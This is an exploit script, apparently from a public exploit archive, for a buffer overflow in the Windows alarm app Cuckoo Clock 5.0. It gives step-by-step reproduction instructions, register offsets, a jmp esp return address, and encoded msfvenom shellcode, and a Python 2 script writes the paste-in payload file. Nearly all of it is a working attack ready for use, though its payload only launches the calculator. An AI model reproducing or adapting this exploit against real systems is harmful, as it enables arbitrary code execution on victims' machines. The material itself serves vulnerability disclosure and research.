Share
# Exploit Title: Cuckoo Clock 5.0 - Buffer Overflow  
# Exploit Author: boku  
# Date: 2020-02-14  
# Vendor Homepage: https://en.softonic.com/author/pxcompany  
# Software Link: https://en.softonic.com/download/parallaxis-cuckoo-clock/windows/post-download  
# Version: 5.0  
# Tested On: Windows 10 (32-bit)  
#   
# Recreate:  
# 1) Install & Open Cuckoo Clock v5.0  
# 2) Right Click app icon (bottom right), click Alarms  
# 3) Click the Add Button  
# 4) Run Python script  
# 5) Open generated poc.txt, then select-all & copy-all  
# 6) Under Schedule, select-all in 'New Alarm' textbox, then paste buffer  
# 7) Press Back Button and shellcode will execute  
  
# EIP Overwrite at 260 Bytes  
# Max Buffer space is 1287 bytes  
# ESP points to payload at offset 264 bytes  
# EBP overwrite at 256 bytes  
  
# badChars = '\x00\x0d'  
  
try:  
ebpOffset = '\x41'*256  
ebp = '\x42\x42\x42\x42'  
eip = '\x16\x05\x03\x10' # 0x10030516 : jmp esp | ascii {PAGE_EXECUTE_READWRITE} [CERBERUS.dll]   
# ASLR: False, Rebase: False, SafeSEH: False (C:\Program Files\Parallaxis Cuckoo Clock\CERBERUS.dll)  
# ESP points to payload at offset 264 bytes  
# 1019 bytes = Remaining Buffer Length  
fixStack = '\x89\xE5' # mov ebp,esp  
fixStack += '\x83\xEC\x30' # sub esp,byte +0x30  
# root@kali# msfvenom -p windows/exec CMD=calc -b '\x00\x0d' -f python -v shellcode  
# x86/shikata_ga_nai chosen with final size 216  
shellcode = b""  
shellcode += b"\xdd\xc3\xbb\x9a\x4d\x57\xfa\xd9\x74\x24\xf4"  
shellcode += b"\x58\x33\xc9\xb1\x30\x83\xe8\xfc\x31\x58\x14"  
shellcode += b"\x03\x58\x8e\xaf\xa2\x06\x46\xad\x4d\xf7\x96"  
shellcode += b"\xd2\xc4\x12\xa7\xd2\xb3\x57\x97\xe2\xb0\x3a"  
shellcode += b"\x1b\x88\x95\xae\xa8\xfc\x31\xc0\x19\x4a\x64"  
shellcode += b"\xef\x9a\xe7\x54\x6e\x18\xfa\x88\x50\x21\x35"  
shellcode += b"\xdd\x91\x66\x28\x2c\xc3\x3f\x26\x83\xf4\x34"  
shellcode += b"\x72\x18\x7e\x06\x92\x18\x63\xde\x95\x09\x32"  
shellcode += b"\x55\xcc\x89\xb4\xba\x64\x80\xae\xdf\x41\x5a"  
shellcode += b"\x44\x2b\x3d\x5d\x8c\x62\xbe\xf2\xf1\x4b\x4d"  
shellcode += b"\x0a\x35\x6b\xae\x79\x4f\x88\x53\x7a\x94\xf3"  
shellcode += b"\x8f\x0f\x0f\x53\x5b\xb7\xeb\x62\x88\x2e\x7f"  
shellcode += b"\x68\x65\x24\x27\x6c\x78\xe9\x53\x88\xf1\x0c"  
shellcode += b"\xb4\x19\x41\x2b\x10\x42\x11\x52\x01\x2e\xf4"  
shellcode += b"\x6b\x51\x91\xa9\xc9\x19\x3f\xbd\x63\x40\x55"  
shellcode += b"\x40\xf1\xfe\x1b\x42\x09\x01\x0b\x2b\x38\x8a"  
shellcode += b"\xc4\x2c\xc5\x59\xa1\xc3\x8f\xc0\x83\x4b\x56"  
shellcode += b"\x91\x96\x11\x69\x4f\xd4\x2f\xea\x7a\xa4\xcb"  
shellcode += b"\xf2\x0e\xa1\x90\xb4\xe3\xdb\x89\x50\x04\x48"  
shellcode += b"\xa9\x70\x67\x0f\x39\x18\x68"  
Remainder = '\x46'*(1287-len(ebpOffset+ebp+eip+fixStack+shellcode))  
payload = ebpOffset+ebp+eip+fixStack+shellcode+Remainder  
File = 'poc.txt'  
f = open(File, 'w')  
f.write(payload)  
f.close()  
print File + " created successfully"  
except:  
print File + ' failed to create'